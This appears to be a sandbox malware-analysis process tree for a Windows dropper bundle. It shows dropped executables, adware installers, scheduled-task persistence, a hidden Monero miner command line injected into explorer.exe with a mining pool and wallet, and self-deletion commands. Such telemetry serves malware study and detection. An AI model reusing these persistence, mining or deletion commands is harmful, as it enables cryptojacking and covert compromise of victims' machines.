C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u32⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u33⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 6566⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 6726⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 6326⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 7286⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 8886⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 9686⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 11006⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu21568b0ab8.exeThu21568b0ab8.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\5512997.exe"C:\ProgramData\5512997.exe"8⤵
-
-
C:\ProgramData\3727734.exe"C:\ProgramData\3727734.exe"8⤵
-
-
C:\ProgramData\6581400.exe"C:\ProgramData\6581400.exe"8⤵
-
-
C:\ProgramData\7378839.exe"C:\ProgramData\7378839.exe"8⤵
-
-
C:\ProgramData\8215625.exe"C:\ProgramData\8215625.exe"8⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3632 -s 15688⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 8088⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 8448⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 8848⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 9808⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 10328⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 8288⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 11128⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4576 -s 15608⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LIK43.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-LIK43.tmp\setup_2.tmp" /SL5="$1030C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-LR0L4.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-LR0L4.tmp\setup_2.tmp" /SL5="$20348,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu214aaca5625.exeThu214aaca5625.exe5⤵
- Executes dropped EXE
-
-
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
-
C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu2164f292a11ce.exeThu2164f292a11ce.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\is-VCJJG.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-VCJJG.tmp\Thu214aaca5625.tmp" /SL5="$30110,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS4A85E034\Thu214aaca5625.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-CF2F2.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-CF2F2.tmp\46807GHF____.exe" /S /UID=burnerch22⤵
- Executes dropped EXE
-
C:\Program Files\Windows Defender Advanced Threat Protection\MHOAZUWNAU\ultramediaburner.exe"C:\Program Files\Windows Defender Advanced Threat Protection\MHOAZUWNAU\ultramediaburner.exe" /VERYSILENT3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CPITK.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-CPITK.tmp\ultramediaburner.tmp" /SL5="$40340,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\MHOAZUWNAU\ultramediaburner.exe" /VERYSILENT4⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a1-94bbe-1d0-d808e-7b30672563082\SHahaexaelife.exe"C:\Users\Admin\AppData\Local\Temp\a1-94bbe-1d0-d808e-7b30672563082\SHahaexaelife.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 11804⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\76-df148-61f-76cbf-2b152d2a2ff81\SHefoqijesha.exe"C:\Users\Admin\AppData\Local\Temp\76-df148-61f-76cbf-2b152d2a2ff81\SHefoqijesha.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3lhlo3r0.pvu\GcleanerEU.exe /eufive & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\3lhlo3r0.pvu\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\3lhlo3r0.pvu\GcleanerEU.exe /eufive5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l4rshslt.tdd\installer.exe /qn CAMPAIGN="654" & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\l4rshslt.tdd\installer.exeC:\Users\Admin\AppData\Local\Temp\l4rshslt.tdd\installer.exe /qn CAMPAIGN="654"5⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\l4rshslt.tdd\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\l4rshslt.tdd\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966045 /qn CAMPAIGN=""654"" " CAMPAIGN="654"6⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lpw4sep1.jfj\anyname.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\lpw4sep1.jfj\anyname.exeC:\Users\Admin\AppData\Local\Temp\lpw4sep1.jfj\anyname.exe5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\exyqq5iw.jwh\gcleaner.exe /mixfive & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\exyqq5iw.jwh\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\exyqq5iw.jwh\gcleaner.exe /mixfive5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oqefu32j.re1\autosubplayer.exe /S & exit4⤵
-
-
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\A588.exeC:\Users\Admin\AppData\Local\Temp\A588.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im A588.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\A588.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im A588.exe /f3⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5D2888B22C5D8A8B251A342A44B99A82 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5CE896CF4BF79BBEF04558943FA7ABC22⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 30E5C9FCF101CD2539D57A82512E67CD E Global\MSI00002⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E878EE3A58F9652F0421C0A12BA08EC9 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 94DDFC40BB7E28FE374F7A4DB7D1AA672⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=715 -BF=715 -uncf=default3⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--CLacDmV"4⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exeC:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x288,0x28c,0x290,0x264,0x294,0x7ffd89e39ec0,0x7ffd89e39ed0,0x7ffd89e39ee05⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1524 /prefetch:25⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=1864 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=2016 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2660 /prefetch:15⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1888 /prefetch:25⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=2756 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=3236 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=3220 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=3408 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12960046483589288508,15411767175071525695,131072 --lang=de --service-sandbox-type=utility --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7420_32422285" --mojo-platform-channel-handle=3260 /prefetch:85⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_516A.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites' -retry_count 10"3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1EC5CE1BC6EB3EE605DCCFCB4921728B C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 20D31CE25DA46EF2FA511DEBEE06FA7F2⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default3⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"4⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exeC:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1d8,0x1dc,0x1e0,0x1b4,0x1e4,0x7ffd6a7cdec0,0x7ffd6a7cded0,0x7ffd6a7cdee05⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exeC:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x130,0x134,0x138,0x10c,0x13c,0x7ff6215f9e70,0x7ff6215f9e80,0x7ff6215f9e906⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=1708 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2612 /prefetch:15⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2540 /prefetch:15⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1644,5207099725463951158,5366035766597640238,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6156_1229626373" --mojo-platform-channel-handle=2272 /prefetch:85⤵
-
-
